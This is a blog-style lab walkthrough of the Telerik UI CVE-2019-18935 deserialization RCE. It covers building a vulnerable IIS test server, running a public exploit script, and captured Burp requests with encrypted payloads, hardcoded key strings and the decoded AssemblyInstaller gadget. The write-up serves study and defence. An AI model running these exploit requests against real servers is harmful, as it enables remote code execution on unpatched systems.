# Telerik CVE-2019-18935 CISA recently published a list of known exploited vulnerabilities and I've had the opportunity to take a deep dive into [CVE-2019-18935](https://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui). If you were lucky enough to download the trial of their software when the CVE came out, you can exploit this yourself. There's also a copy on virustotal :) https://www.virustotal.com/gui/file/3b5f95165ec6730f99090b53ae3c5d511a17baaa97fd452b62c93e3423138701 ``` Telerik_UI_for_ASP.NET_AJAX_2017_2_503_Demos_Trial.msi md5: bd773a944cbd9ec0fc9420b898feeb99 Telerik.Web.UI.dll (version: 2017.2.503.40) md5:3318d514b624165702c8871a2b4eba34 ``` For $1300. you could buy a license and download old versions of their software from their website. ## Setup The MSI package installs a link on your desktop that starts a set of examples which happen to be exploitable. ![](images/telerik/telerik3.JPG) There are also [docs online](https://demos.telerik.com/aspnet-ajax/asyncupload/examples/overview/defaultcs.aspx) A lot of researchers seem to use this, but if you just have access to the dll and not the msi here are some quick steps for you. ### Manual Installation Install asp.net on a windows server (I used a trial of 2019) https://www.server-world.info/en/note?os=Windows_Server_2019&p=iis&f=7 Create a `default.aspx` in `C:\inetpub\wwwroot` with the following contents: ``` <%@ Page Language="C#" Debug="true" %> <%@ Register TagPrefix="telerik" Namespace="Telerik.Web.UI" Assembly="Telerik.Web.UI" %> <html><body> <form id="form1" runat="server"> <telerik:RadScriptManager runat="server" ID="RadScriptManager1"/> <telerik:RadAsyncUpload RenderMode="Lightweight" runat="server" CssClass="async-attachment" ID="AsyncUpload1" HideFileInput="false" AllowedFileExtensions=".msi,.exe,.jpeg,.jpg,.png,.doc,.docx,.xls,.xlsx" /> <span class="allowed-attachments">Select files to upload <span class="allowed-attachments-list">(<%= String.Join( ",", AsyncUpload1.AllowedFileExtensions ) %>)</span> </span> <p>Files are written to App_Data\RadUploadTemp, make sure iis has write permission here</p> </form></body></html> ``` Create a `web.config` in `C:\inetpub\wwwroot` with the following contents: ``` <?xml version="1.0" encoding="utf-8"?> <configuration> <system.webServer> <handlers> <add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" /> <add name="Telerik_RadUploadProgressHandler_ashx" path="Telerik.RadUploadProgressHandler.ashx" type="Telerik.Web.UI.RadUploadProgressHandler" verb="*" preCondition="integratedMode" /> </handlers> </system.webServer> </configuration> ``` Copy `Telerik.Web.UI.dll` to `C:\inetpub\wwwroot\bin` Create a `C:\inetpub\wwwroot\App_Data` and give the iis user write access to it from explorer. Navigate to the website with your browser. ![](images/telerik/telerik1.JPG) This minified example took a bit to figure out, so be thankful I did all the hard work for you :) ## Exploitation There's a [metasploit module](https://www.rapid7.com/db/modules/exploit/windows/http/telerik_rau_deserialization/), but after a lot of debugging I found it is currently broken for older versions of telerik. Telerik in 2017 used pbkdf1 where the metasploit exploit only supports [pbkdf2](https://github.com/rapid7/metasploit-framework/blob/3066c5b05e88aded8596e3ec47f355e456e76d55/modules/exploits/windows/http/telerik_rau_deserialization.rb#L236). You would think it would be as easy as changing the OpenSSL function, but pbkdf1 has been removed from openssl. I don't know enough ruby to fix the exploit, but here's a [code snippet](https://vteams.com/blog/implementation-of-pbkdf1-data-encryption-in-different-languages/) implementing pbkdf1 in ruby if you feel so inclined. Here is also a working [python implementation](https://github.com/noperator/CVE-2019-18935/blob/master/RAU_crypto/RAU_crypto.py) you can use as reference. The easiest way to exploit this is using [Bishop Fox's github link](https://github.com/noperator/CVE-2019-18935) ``` git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935 python3 -m venv env source env/bin/activate python3 -m pip install -U pip python3 -m pip install -r requirements.txt ``` The command to exploit the server is ``` python3 CVE-2019-18935.py -v 2017.2.503 -p payloads/sleep-amd64.dll -u http://192.168.0.54/Telerik.Web.UI.WebResource.axd?type=rau ``` The version can be found from viewing the source on the web page of the exploitable service, but it can also be bruteforced. ![](images/telerik/telerik2.JPG) The dll is a compiled version of sleep.c, which locks the web application for 10s. It can be built using `build-dll.bat` and Visual Studio 2019. ``` #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if (fdwReason == DLL_PROCESS_ATTACH) Sleep(10000); // Time interval in milliseconds. return TRUE; } ``` Keep in mind each dll can only run once on a server between reboots. In order to re-exploit you will need to recompile the dll to change it's hash or reboot. Successful exploitation looks like this: ``` [*] Local payload name: payloads2/sleep-2-amd64.dll [*] Destination folder: C:\Windows\Temp [*] Remote payload name: 1636595979.427267.dll {'fileInfo': {'ContentLength': 90624, 'ContentType': 'application/octet-stream', 'DateJson': '1970-01-01T00:00:00.000Z', 'FileName': '1636595979.427267.dll', 'Index': 0}, 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, ' 'Telerik.Web.UI, Version=2017.2.503.40, ' 'Culture=neutral, ' 'PublicKeyToken=121fae78165ba3d4', 'TempFileName': '1636595979.427267.dll'}} [*] Triggering deserialization for .NET v4.0.0.0... <!DOCTYPE html> <html> <head> <snip> <h2> <i>Runtime Error</i> </h2></span> <snip> [*] Response time: 10.07 seconds ``` ## Explanation Ok so how does it work? When you upload a file to the server using the exploit you get the following request in burpsuite (I added a proxy to the request call in the python script). ``` POST /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1 Host: 192.168.0.54 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: close Accept-Language: en-US,en;q=0.5 Upgrade-Insecure-Requests: 1 Content-Length: 93130 Content-Type: multipart/form-data; boundary=59b58c4da432f4b0e229b7f0e34013b6 --59b58c4da432f4b0e229b7f0e34013b6 Content-Disposition: form-data; name="rauPostData" ATTu5i4R+ViNFYO6kst0jC11wM/1iqH+W/isjhaDjNtSL4i0BX6wnHZVtkSpfZ8pOxh5aIKzTO+1TvLT/S6NT0wnqIPU8UuGifJAcamKaU3Hm3xkpSieQn7Ut23zqL8/tEKW7qut9dt4jAz7VIeyNCLLCnQ7DUiLJtSafnT/02UsqN3xHUvZuGtswm3ncaO9AayiotvEfGSXAfKmiMQ87f3BGpX8llk5vaxtWp01SU+96R9W69lBOak8gP9si9MMgUHWp5czldHYG/Y4YVPjaJRK3d1mb4J6klQpibROWV3y1PsjZ1rd5Mcb34lGlu70V3XddoXXqoYyKF+jEsSzYV76NkY755EffPmWyPvcqpjtktK5b7AEBmAIvfcMUW+PtDAGB9wRlSRAzfr2CtQVVaKA7Dvp5JjD/AzMlrxeM7Us7FK1UfwWymAFr2JzBVtLfMg2QUUEzTuqjOYXe83pAMbl6Xx3Fn7HAVdPH1/ZxBjjTPqKc5rJaFnVoV023/vtZ1/hAZ/S42f1tN5iNKhqjbsaqPvFELBGohau/7+ujM21eZuNjWMuKJZG11fjUhYdruRfPBJ2qsrKveq8a3nAnLx6dzKCNo+udhKtSgK3vIGx1yNZOf1UB+uB/v7A6b9nEFbOkC0wiFU4JLRCAHRpJymr+yZywYTs1I7lMkdIUf6JGMWpvdQwStQzcyKnY0cJYw3WXykm1vfhM1OhVYB30Mnk7zXpHHuGax6+lTxne94sEUyzCx2l+nlUvolPeD9KoBGAuEMxkUTelwdAGe34k2sA05ck/DH/z3SMb5PZj2SiJGbiNMmQofXaiFuJWOItgu+QXGKbrPMWNQBYPCcPr4S/3uIYsX2F3EY5//+zKJb/QiqIY2CaPrfUuFCcuo6+jH2i0ZeLNja3BQilnR57xemApx6lD7cmnAv1pnLDSIEdfbT6drzvtojExFaXDsXB7GEpCJia7EgL+WEpTFNRhjIa0PAntp3EOIONk4BUQSWmaK0UIBWeIwKDyIzyu6j3hjd87prF8n/5/ffhQxZpO7nW5GlBjxkfAfCZqY6I1Iw3bufK/rm6qneRUJTvYoPlVGNsUk9waG2l06hzG5DCgGabADLZpUxbPvyQ0aV/ClcZSlFiu+wZDuSD8Zq1p1QEGWIh5K2zfrbvNXVP1eeT+36Fu/ecDTXov8/HkP4Qc1I6L40BgYulRLREksYZtSnsPS57XCrXFrrpvPN6iCXeJU8qMlbDuXwzc22lppui694MRrpGNsxmFGqWxX6bkRZsTy0OUeKM01nPqVRQ2s31eZKO/280DJMy1JLr8RTzZRNImrCdE+LQv19IzzF4skVp&6R/cGaqQeHVAzdJ9wTFOyCsrMSTtqcjLe8AHwiPckPDUwecnJyNlkDYwDQpxGYQ9hs6YxhupK310sbCbtXB4H6Dz5rGNL40nkkyo4j2clmRr08jtFsPQ0RpE5BGsulPT3l0MxyAvPFMs8bMybUyAP+9RB9LoHE3Xo8BqDadX3HT1WFL4XVDQYdEAzeZHzRhIm3oc9GVIoT8gzqmzeE0FoWO2ik0en3tqWL9xkgbVlXYx1vJ0sMRUGg7yoyep7vzsxGO8XG1i1DX5JHgzPY/Mgp8dvmZBN9feqrgKNSA9sIZDCDOCr8tPctJhwt8+YWMvQAnfVPbjkscLzYFtOAUELA== --59b58c4da432f4b0e229b7f0e34013b6 Content-Disposition: form-data; name="file"; filename="1636595979.427267.dll" Content-Type: application/octet-stream MZ... ``` The rauPostData is an encrypted paramater separated in two parts by the & character. The paramter is encrypted by default using the static strings `PrivateKeyForEncryptionOfRadAsyncUploadConfiguration` and `PrivateKeyForHashOfUploadConfiguration`. The DLL can be reversed using DNSpy and these statics and encryption methods can be easily uncovered. Someone made a [csharp project](https://github.com/ac3lives/RadAsync-Arbitrary-File-Upload/blob/master/RadAsync-ArbitraryFile-PayloadGenerator.cs) that decodes these blobs for you. The first part of the string decodes to ``` {"TargetFolder": "", "TempTargetFolder": "C:\Windows\Temp", "MaxFileSize": 0, "TimeToLive": {"Ticks": 1440000000000, "Days": 0, "Hours": 40, "Minutes": 0, "Seconds": 0, "Milliseconds": 0, "TotalDays": 1.6666666666666665, "TotalHours": 40, "TotalMinutes": 2400, "TotalSeconds": 144000, "TotalMilliseconds": 144000000}, "UseApplicationPoolImpersonation": false} ``` Where the second part decodes to ``` Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=2017.2.503.40, Culture=neutral, PublicKeyToken=121fae78165ba3d4 ``` A normal request to upload a file looks very simliar ``` {"TargetFolder":"","TempTargetFolder":"C:\inetpub\wwwroot\App_Data\RadUploadTemp","MaxFileSize":0,"TimeToLive":{"Ticks":144000000000,"Days":0,"Hours":4,"Milliseconds":0,"Minutes":0,"Seconds":0,"TotalDays":0.16666666666666666,"TotalHours":4,"TotalMilliseconds":14400000,"TotalMinutes":240,"TotalSeconds":14400},"UseApplicationPoolImpersonation":false,"AllowedFileExtensions":[".msi",".exe",".jpeg",".jpg",".png",".doc",".docx",".xls",".xlsx"]} ``` ``` Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=2017.2.503.40, Culture=neutral, PublicKeyToken=121fae78165ba3d4 ``` Only the `TempTargetFolder` is modified. This abuses CVE-2017-11317 to be able to write files anywhere. You could likely use this in and of itself to write an aspx to the webroot and get code exec. However this second CVE is the one we care about in this blog. The second part of the rauPostData is an object that gets deserialized and can be abused to execute dlls you upload. Here's the exploit in burp: ``` POST /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1 Host: 192.168.0.54 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: close Accept-Language: en-US,en;q=0.5 Upgrade-Insecure-Requests: 1 Content-Length: 781 Content-Type: multipart/form-data; boundary=54614540dee1bda7da89f0b4b5675cb2 --54614540dee1bda7da89f0b4b5675cb2 Content-Disposition: form-data; name="rauPostData" aJW1Mow+1F+sSwhDa2kgirjeDTGESU1St5QNRspjpeySGr75vgrkc5iuewihC0HMCea+GpFFepzWr/4pbWEeDN1qoLJuxT5cPVQnVfxZQSDSSizUclgeQw5Shw1s3lNWzm8sIxjMs16s3Ov208CxnKffAy0hfnyPV5VwdqZwCpE=&jygg1i256Y8s4FsobyTDoGTcTOo29MrFC2c8gyhyUB1cXUIPTmJa6VoSf/K7I9CDEnNoA3p2mjYZv0kDSBEidAjqYGhUVtelp/RnGmwncf20Y5ODEe8bco7OP0qLk62tYSLTJG8gczlfX7PBgttRQD99+VDIbcMMniCW7DRbvVPtX5spRQSjUiaG1RY7RZd1Qw6tEgV7H7pG1QdM+364ccKpZIDDxwBct1uijza1TueTbRcmhpVfOv/liIPJsUsZVr3RxiQxGlBtu4EixqpCn6aLl/NDzss1juagWMXK+JMvDhPIZkYhWGBEYrpMr+KP2BRxH1Q++igogyX1524p/HcHaLI13wcpQ7mzkE+Er0HzY1D71Xj6wePfGi0r8ul1 --54614540dee1bda7da89f0b4b5675cb2 Content-Disposition: form-data; name=""; filename="" --54614540dee1bda7da89f0b4b5675cb2-- ``` which decodes to ``` {"Path": "file:///C:/Windows/Temp/1636595979.427267.dll"} ``` ``` System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ``` Using DNSpy you can see how this happens by opening up Telerik.Web.UI.dll In: Telerik.Web.UI -> AsyncUploadHandler -> GetConfiguration -> you'll see it take a configuration and call SerializationService.Deserialize() -> This function then uses System.Web.Script.Serialization to deserialize the object and invoke our dll.